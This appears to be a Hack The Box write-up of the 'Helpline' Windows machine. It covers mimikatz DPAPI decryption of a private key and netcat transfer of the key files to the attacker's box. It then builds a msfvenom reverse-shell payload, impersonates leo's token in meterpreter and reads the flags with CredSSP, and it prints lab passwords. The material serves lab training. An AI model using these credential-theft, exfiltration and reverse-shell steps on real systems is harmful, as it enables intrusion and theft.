mimikatz # dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85" /masterkey:8ece5985210c26ecf3dd9c53a38fc58478100ccb            
**KEY (capi)**
  dwVersion          : 00000002 - 2
  dwUniqueNameLen    : 00000025 - 37
  dwSiPublicKeyLen   : 00000000 - 0
  dwSiPrivateKeyLen  : 00000000 - 0
  dwExPublicKeyLen   : 0000011c - 284
  dwExPrivateKeyLen  : 00000650 - 1616
  dwHashLen          : 00000014 - 20
  dwSiExportFlagLen  : 00000000 - 0
  dwExExportFlagLen  : 000000fc - 252
  pUniqueName        : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d
  pHash              : 0000000000000000000000000000000000000000     
  pSiPublicKey       :    
  pSiPrivateKey      :    
  pSiExportFlag      :                        
  pExPublicKey       : 525341310801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef63637543
62f219c555d7feb1b7423f9d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e
51d19fa1bf7d748e524919dabdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b60000000000000000                                          
  pExPrivateKey      :
  
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 0000002c - 44
    szDescription      : CryptoAPI Private Key
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : d05086dc4a0e8c37b26b9298d6e507a07e6b01495c8e874636d6555909860bfc
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : b7a581f4205455a35c32cf2bae9d3be3fd90990ae6f63c417e9c5a06084d04f1
    dwDataLen          : 00000550 - 1360
    pbData             : 0dd1b5843b4e6da999ab982ff7bef727bd63f11eb222fd81420d24e0dc8a8c03910ddca26dba324e943a5357776530618f14c74382062047acb3f35debdb8f885a283c3644542dde4aa1175ac9d7a23e014bb92d85c2f51dd8eb6d0007
a2f4ca83df25b59f32794c2a4e227e526cd2d5f4a222ca9c14be15e62982107d91865a3e0fc04708144aa7fe7f7baf0c5a7b99c18f96e82c1f01dc8b41df64b51befd3a978a9d47a72246ceadfda631d09be350a4d3bf1301fba7e1b6c6e0c40bf95ce9e154f79cbef2
6d7a3c00d538e490132954d4ee94619dcdaf75e64676c89e89317d4668fe4b942a7bc21371efa3adf08152dabdf0d16e608cda6bdcca193771d736e19505e51f6e972ef5da070b0023e740dd96893d0458da1994f72aa3bc6846218e4634d4a199f698dcce5d2a96c68
8bb20d8138ac743fbff1a43934bbdcff40145ebc815edaf5080d63656236aba75261d7fe0b915e393912d8fe731bb4ab232f88553918c17d95f81605fb24bb9a7527e2eda01fc088e653ce99d58143a74595d47169cf58a2308e128e3956c0c4e225b1dfa0cd8cf030$
b670977c3b62b30bd09846e993779c4471cbd0682dc9bf038bfb8daf8286c0fd4fbcdcf135cb48dc38f0d34342a0116aef4211104657c20db578d9b21b2dbe2505bccc86a48b343f0f9df63482562f86f4015e6dc327a209684049188251506a8f39ae8946a9cdec43$
bb71e7d4fac63f33932dd0bd52fa5ffd48ff11c415e856a496252378fb19c456c3e191a19621c292654af48228906eac7ae5717a77a2c616e194ea9189e77cfa0252da0180fe128fa9f3a0cd826f7530dc03428e6ecbbc7ae7bffe0ce2780b3ba686c3d73f3da55af6$
65fec2c22cbb119a698c5bbbed802d3a31fb44e395606adb58e0b0e2030910281dbeeb76bddebf2ae6862633f839324cb72a9c05a7d24acc3cdad9648be0e816039581d4eb3ddefdc1457d3175b5c776ca445bd409038b6369fa9151f6ee88ab44e9d64b40ecd09e89$
7e2b36e51c44f93bc5a985c13cc0f8d31aad776167b027c28a09943580d848af506c68a400ed93734dbe579a84837a90c6fd60d338e9e981599086da725d7e6c87f89f9a59979672a8b74c704e848fc6cac786e49a3b7f310b2839d67652a9ae3018ce6aca06f6e60b$
bcf526f859a618b32b7b112088eefccf69e873e1d62a20b416203a2428d08abe22518eecfe0a5115a82efb21d467854444b15db49e82c4442aaa045fdf4ea725295da78d14082c9140b6ea6356039b48e53fb7eb8d3ea21713c346d6ff381aaf709c5e83e7d0c5e330f
f7374caccf6312f8f36afc041fcfd89a7e93d453393c991c3887d6b98179cc254172dfd4a09c968a25dab0b53df6f38c6b22e9352d0920789920659b1cb55c61f74bccb63fc397e0997f896e55efbaf200629dd399584f1675ebe588b025ee4160387aa3a5a3239899c
75a97eddbf5dc1dbf4defb894091c851f73413e2da6d7a39e23481dcda7857311a2816d720c0da057952e2d4218b2f4f735469cc4d15324de94b7036fb072afdb708929363934351feecc27c0c81206cafaa7bd5748456799cb528773cafc4b6f6fa25c6bc617b537ac
b354b10ddeb628974ad787f792a9b2564741b1ca8538de0647ab945e25aec233b247ca228111bcdafeed17f032d7277507934895b07197e8331451cd9eff35681afc625741ff13ee1daac61e16bea787ad2b3901a52d29c75c33a31d7993ed92a70d2196109d59b817f
e6471f24540f59c95d082556d05333201a4f54c71db4d135308c5339ecf8c63258a73e71d86b7ec0f3d71b8103de2d4b886b51f9994eb2f8a62c9bb444f8e1c19096085d4a67a9a16a9b74bb2d74c0298e499260dcdedd2d1cf94ed1f2e2bf1c4a194f79a3ff1bfb17c
6a
    dwSignLen          : 00000040 - 64
    pbSign             : b3854af7c1faaa30806aa909e65813225a9aede7b0705c4c186d080ced4883b22e9a06acfb1d7762b1c69e368dcecd0de3a7e8b8f112e61cd9231ad5c5eef596

  pExExportFlag      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 00000018 - 24
    szDescription      : Export Flag
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : 61af1a324f58c63a6bb3767357892b8c95d9a9a0dea6da062322afc39734c72a
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : ee6cef3310951fa86aba9b0bc3b23c237d23fbac008175bf670b68b73899e983
    dwDataLen          : 00000010 - 16
    pbData             : 3766e1ec88316997e9aeb13d847c396e
    dwSignLen          : 00000040 - 64
    pbSign             : 1d17141018652ad326ebd1a9c3030feb1356fede8002391d9fbba2d5c75221e654aef732841a04638f5577b59e63c8037ed26c7e4f6d1ed34a6244c33e631800

Decrypting AT_EXCHANGE Export flags:
 * volatile cache: GUID:{2f452fc5-c6d2-4706-a4f7-1cd6b891c017};KeyHash:8ece5985210c26ecf3dd9c53a38fc58478100ccb                                                                                                   
 * masterkey     : 8ece5985210c26ecf3dd9c53a38fc58478100ccb
01000000
Decrypting AT_EXCHANGE Private Key:
 * volatile cache: GUID:{2f452fc5-c6d2-4706-a4f7-1cd6b891c017};KeyHash:8ece5985210c26ecf3dd9c53a38fc58478100ccb                                                                                                   
 * masterkey     : 8ece5985210c26ecf3dd9c53a38fc58478100ccb
525341320801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef6363754362f219c555d7feb1b7423f9
d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e51d19fa1bf7d748e524919d
abdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b600000000000000006b686e241f8ac960bd719549bd40384959b682321394b15dd99070665bb0b3177
4d9a149b5b097b7ab965763e5592eeae40896efd89c92ef20519b995ac65c9258a8973e021efb6255514a42e5af7aa7ad028349c8ba92b61e2cb52ea740f15cdabf14f23f1aea32b3ab47c4ce72be3920314e8096fda33dd978fee18c79fde000000000d3d94b2498e1
0b913cc5c026ee19c672eaafe6eab8bb92b5c45b22be438d469a197a08b0ce230a926bf2418256c8397d5630de1ff89275cd1fa2ed1170b3408e697a505b61262a44db96763a532322a2cc070520af4f4539c4f44754513932481b76bd5765a7196cac8bf9fe9fad0d7
4460ece6677a99096b565705cc3de84cf00000000ff61d229009652074adf5045582172ff5638b61254e044b4714eb7f7261c019415a30c6e8bd1fa1d1fbc1ef0620394594d83ab2796416b80acb40ca77d7cccc1eca5eef9c6e0892e144defb31f6f3b20a69201485e
7058d72851f697307898c3957a3bb0bf0e65f1beb40b182c66627138fe5c264231d16d013bac509b9c937d00000000c7fc63389c2c563d9c380fc70de0774025d8f4a7ee15dd8c69de0ae2e5a8f881f939ade966c736ef7188374a9730ddfc99f5791d59ca8de461fbb
44a5326a29aee91d5f0eb903eb9ede3a76b03df9929b2afec0766e7dca2f4b25f4e370d95759db76a89c42812ba2c1a670a6727d8424f62c344f87dbf0b2686959335811e0e00000000505ecc240eefef332854553feabb019fa075baa1148953d142582f82d6cf1fc0
72267bd574d0d665dfafb8c9be8afd434f2250a840c6a0f80be883c70dafea4b6a1a23c29534a49188fa9c1c7df45788da79ced400db29799a057938fa3059f1ded01cbb8635dc3579ded3e9c16fc2d4bb7085ddda143c16657e24c2876c88bc00000000e1f11d6633a
644709fa252d8614531d2e8da61fc078ae8bfd91ce60582c914873d9dc6825bdd453d00594e3e286f1b843dd7154a8a67378272b2fce204162c87cb80320bd8a7e31bf646ee6b54635a4242abddef81876be6d33d9ffa356fb306c364c902ba52a43d9776d9c88d8de4
fcf11fea675cc8c1a1dcc79da2e3ec931f8fe342fecef6c883649e86cfda7d34cc01e0a128424df5d3a6f17dbea80983a6b4e14cb19c5a039b290bcdfe4c48dce945985f1c9d3464fec51b26b59d8ceacb52f5030d322566de54d42806900343b47d03ba31f67b60495
73ededc194c1be20f2a02700dc25de6e18b26d1dcc7b189c1822e6d2370c1ecc8af73e924000f2c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
        Exportable key : YES
        Key size       : 2048
        Private export : OK - 'raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk'

I used nc to transfer the der and pvk files to my box :

C:\Windows\System32\spool\drivers\color>nc.exe -w 3 10.10.xx.xx 1440 < 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
nc.exe -w 3 10.10.xx.xx 1440 < 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der

C:\Windows\System32\spool\drivers\color>nc.exe -w 3 10.10.xx.xx 1440 < raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk        
nc.exe -w 3 10.10.xx.xx 1440 < raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk

C:\Windows\System32\spool\drivers\color>
root@kali:~/Desktop/HTB/boxes/helpline/tolu# nc -lp 1440 > 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der 
root@kali:~/Desktop/HTB/boxes/helpline/tolu# ls -la                                                                    
total 12
drwxr-xr-x 2 root root 4096 Aug 16 16:50 .
drwxr-xr-x 6 root root 4096 Aug 16 16:50 ..
-rw-r--r-- 1 root root  765 Aug 16 16:50 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
root@kali:~/Desktop/HTB/boxes/helpline/tolu# nc -lp 1440 > raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk                                                             
root@kali:~/Desktop/HTB/boxes/helpline/tolu# ls -la                                         
total 16
drwxr-xr-x 2 root root 4096 Aug 16 16:51 .
drwxr-xr-x 6 root root 4096 Aug 16 16:50 ..
-rw-r--r-- 1 root root  765 Aug 16 16:50 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
-rw-r--r-- 1 root root 1196 Aug 16 16:51 raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk

Then I created the pfx with openssl :

root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der -out public.pem
root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk -out private.pem
writing RSA key
root@kali:~/Desktop/HTB/boxes/helpline/tolu# openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

And finally I imported it and I was able to read the flag : 
I found later that I could also use Invoke-Command as tolu and I would be able to read the flag,

*Evil-WinRM* PS C:\Users\tolu\Desktop> $username = "Helpline\tolu"
*Evil-WinRM* PS C:\Users\tolu\Desktop> $password = "!zaq1234567890pl!99"
*Evil-WinRM* PS C:\Users\tolu\Desktop> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
*Evil-WinRM* PS C:\Users\tolu\Desktop> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
*Evil-WinRM* PS C:\Users\tolu\Desktop> Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock { type C:\Users\tolu\Desktop\user.txt }
0d5*****8d3

We got user.


root.txt

There was a file called admin-pass.xml in C:\Users\leo\Desktop

C:\Users\leo\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\leo\Desktop

01/15/2019  01:21 AM    <DIR>          .
01/15/2019  01:21 AM    <DIR>          ..
01/15/2019  01:18 AM               526 admin-pass.xml
               1 File(s)            526 bytes
               2 Dir(s)   5,850,574,848 bytes free

C:\Users\leo\Desktop>type admin-pass.xml
type admin-pass.xml
Access is denied.

Only leo can read it. leo's hash was uncrackable so I looked for other ways to be leo. I wanted to see if I can impersonate leo’s token so I created a metasploit payload and got a meterpreter session.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1441 -f exe > m.exe

And yes, I could impersonate leo’s token :

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
HELPLINE\leo
HELPLINE\tolu
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
========================================
No tokens available

meterpreter > impersonate_token 'HELPLINE\leo'
[+] Delegation token available
[+] Successfully impersonated user HELPLINE\leo
meterpreter > shell -t 
Process 5344 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32\spool\drivers\color>whoami
whoami
helpline\leo

C:\Windows\System32\spool\drivers\color>

Now we can read admin-pass.xml :

C:\Windows\System32\spool\drivers\color>cd c:\users\leo\desktop
cd c:\users\leo\desktop

c:\Users\leo\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of c:\Users\leo\Desktop

01/15/2019  01:21 AM    <DIR>          .
01/15/2019  01:21 AM    <DIR>          ..
01/15/2019  01:18 AM               526 admin-pass.xml
               1 File(s)            526 bytes
               2 Dir(s)   5,719,506,944 bytes free

c:\Users\leo\Desktop>type admin-pass.xml
type admin-pass.xml
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa

c:\Users\leo\Desktop>

I used Invoke-Command again and used Get-Content to read admin-pass.xml instead of putting the password in a variable.

c:\Users\leo\Desktop>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\leo\Desktop> $username = "Helpline\Administrator"
$username = "Helpline\Administrator"
PS C:\Users\leo\Desktop> $password = "admin-pass.xml"
$password = "admin-pass.xml"
PS C:\Users\leo\Desktop> $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username, (Get-Content $password | ConvertTo-SecureString)
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username, (Get-Content $password | ConvertTo-SecureString)
PS C:\Users\leo\Desktop> Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
Invoke-Command -ComputerName HELPLINE -Credential $credential -Authentication credssp -ScriptBlock {type C:\Users\Administrator\Desktop\root.txt}
d81*****a2c

We owned root !
Credits to : https://0xrick.github.io/hack-the-box/helpline/

Alternative way from windows:

Instead of using the VPN on Windows we can use IP forwarding on linux. First on linux,

root@kali:~/htb# sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@kali:~/htb# /sbin/iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
root@kali:~/htb# /sbin/iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT

Change eth0 to your VM connected interface. Now on windows, execute the command:

C:\WINDOWS\system32>route add 10.10.10.0/24 192.168.1.21
OK!

Now we should be able to ping all the hackthebox boxxes from Windows.

C:\WINDOWS\system32>ping helpline

Pinging helpline [10.10.10.132] with 32 bytes of data:
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126
Reply from 10.10.10.132: bytes=32 time=22ms TTL=126

Ping statistics for 10.10.10.132:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 22ms, Maximum = 22ms, Average = 22ms

According to this blog post the group Event Log Readers gives non-admin users access to System logs. We can use this to our advantage if we can find any sensitive information in the logs. The security logs could contain potential user information. We can export such logs using
wevtutil utility.

However, we are denied access. This is due to the kerberos double hop problem. We can overcome this by using CredSSP authentication. For this we need to configure a Windows VM.
To enable CredSSP authentication on Windows 10, the following steps are performed.

    •  Edit C:\Windows\System32\drivers\etc\hosts, adding the IP address for
      
      helpline
    •  Start the "Windows Remote Management (WS-Management)" service if it isn't already using Powershell type “Enable-PSRemoting -Force”.
      
      -
    •  From an elevated PowerShell console, run
PS C:\WINDOWS\system32> Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"

CredSSP Authentication Configuration for WS-Management
CredSSP authentication allows the user credentials on this computer to be sent to a remote computer. If you use CredSSP
 authentication for a connection to a malicious or compromised computer, that computer will have access to your user
name and password. For more information, see the Enable-WSManCredSSP Help topic.
Do you want to enable CredSSP authentication?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

cfg         : http://schemas.microsoft.com/wbem/wsman/1/config/client/auth
lang        : en-GB
Basic       : true
Digest      : true
Kerberos    : true
Negotiate   : true
Certificate : true
CredSSP     : true
  • Open gpedit.msc with administrative privileges, and navigate through to :
    
    Computer Configuration > Administrative Templates > System > Credentials
    
    Delegation > Allow Delegating Fresh Credentials with NTLM only server
    
    authentication.
    
    Click "Show..." and add WSMAN/*
    
    Click OK to save changes and exit out

We should now be able to login as alice using credssp authentication.

PS C:\Users\jacco> $pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force
PS C:\Users\jacco> $cred = new-object System.Management.Automation.PSCredential( 'alice' , $pass)
PS C:\Users\jacco> $session = New-PSSession -ComputerName 10.10.10.132 -Credential $cred -Authentication Credssp
PS C:\Users\jacco> Enter-PSSession $session
[10.10.10.132]: PS C:\Users\alice\Documents> whoami
helpline\alice

Author : Puckiestyle

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